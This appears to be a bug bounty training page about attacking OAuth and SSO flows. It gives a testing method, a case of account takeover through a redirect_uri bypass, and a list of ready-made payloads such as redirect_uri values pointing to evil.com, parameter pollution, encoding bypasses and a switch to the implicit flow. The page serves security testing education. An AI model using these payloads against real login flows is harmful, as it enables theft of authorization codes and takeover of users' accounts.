OAuth & SSO
Attacks on delegated authorization and Single Sign-On flows
Quick answer
What is OAuth & SSO?
OAuth lets users authorize third-party apps to access their data without sharing passwords. Implementation flaws can lead to account takeover, token exfiltration and CSRF in authorization flows.
Severity
Critical
Frequency
Very common
Payloads
10
Steps
6
Severity
Critical
Frequency
Very common
Payloads
10
OAuth flows are complex and have multiple manipulable parameters: redirect_uri, state, response_type, scope. A validation flaw in any of them can compromise the entire authentication flow's security.
Where to look
Third-party login
'Sign in with Google/GitHub/Microsoft' buttons. The full flow from redirect to callback.
Redirect URI
The redirect_uri parameter is the main vector. Try variations: subdomains, path traversal, open redirect chains.
State parameter
If it's missing or unvalidated, the flow is vulnerable to CSRF — you can link your OAuth to another user's account.
Token in URL fragment
In implicit flow the token goes in the fragment (#). It can leak via the Referer header or JavaScript.
Integrations page
'Connect GitHub/Slack account' features — same OAuth vectors.
Methodology
Map the full flow
Intercept the whole OAuth flow: authorize URL → login at provider → callback with code → token exchange. Note every parameter.
Test redirect_uri
Change redirect_uri to your domain. If it's reflected → open redirect → token leak. Try: target.com@evil.com, target.com.evil.com, /\/evil.com
Check the state parameter
Does it exist? Is it random? Is it validated in the callback? If missing → CSRF to link your OAuth to the victim's account.
Test response_type
Change code to token (implicit flow). The token may end up exposed in the URL fragment.
Code reuse
Is the authorization code invalidated after use? Capture one and use it twice.
Bypass restrictions
Try HTTP Parameter Pollution (redirect_uri[0), encoding (%2F) and double encoding.
Real-world case
OAuth redirect_uri bypass via reverse proxy → Account Takeover
Identify the OAuth flow
The app uses 'Login with Google' with redirect_uri whitelisted to https://target.com/callback.
Whitelist bypass
The reverse proxy doesn't decode %2F in the URL, but the backend does: redirect_uri=https://target.com%2F@evil.com/callback
Capture the authorization code
Google sends the code to evil.com because the resolved URL is https://evil.com/callback.
Exchange the code
The attacker exchanges the code for an access token at the victim's endpoint → full account access.
Lesson: Differences in how the proxy and backend parse URLs are a constant source of bypasses. Always test encoding / as %2F in redirect_uri.
Payloads
Redirect to external domain
redirect_uri=https://evil.com/callback
Subdomain matching bypass
redirect_uri=https://target.com.evil.com/callback
URL authority confusion
redirect_uri=https://target.com@evil.com/callback
Path traversal in redirect
redirect_uri=https://target.com/callback/../../../evil.com
Switch to implicit flow
response_type=token (en vez de response_type=code)
Advanced payloads(account required)
HTTP Parameter Pollution
redirect_uri=https://target.com/callback&redirect_uri=https://evil.com
Encoding bypass (%2F)
redirect_uri=https://target.com%2F@evil.com/callback
Google domain bypass
&hd=attacker.com (restringe el login a un dominio específico)
State parameter path traversal
state=../../../imageProxy/evil.com (si el state se usa en URLs internas)
Cookie bombing → 431
Setear cookies gigantes → forzar error 431 que expone el redirect con el code
Exclusive content
Create your free account to access advanced payloads, scripts and bypass techniques
Create free accountTools
Burp Suite
Essential for capturing and manipulating redirects, codes and tokens in the OAuth flow.
Interceptar todo el flujo OAuth y modificar parámetros
OWASP OAuth Testing Guide
Complete OAuth testing guide with a vulnerability checklist.
https://owasp.org/www-project-web-security-testing-guide/
Tips
redirect_uri is target #1
80% of OAuth bugs live in redirect_uri validation. Try every possible variation.
No state = CSRF
If there's no state parameter or it isn't validated, you can link your OAuth to another user's account.
Implicit flow is dangerous
If you can change response_type=code to response_type=token, the token ends up exposed in the URL.
Test code reuse
Use the same authorization code twice. If it works, you can capture one and use it before the victim.
Contenido relacionado
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice OAuth & SSO with real labs
Apply these techniques in safe environments based on real bug bounty reports.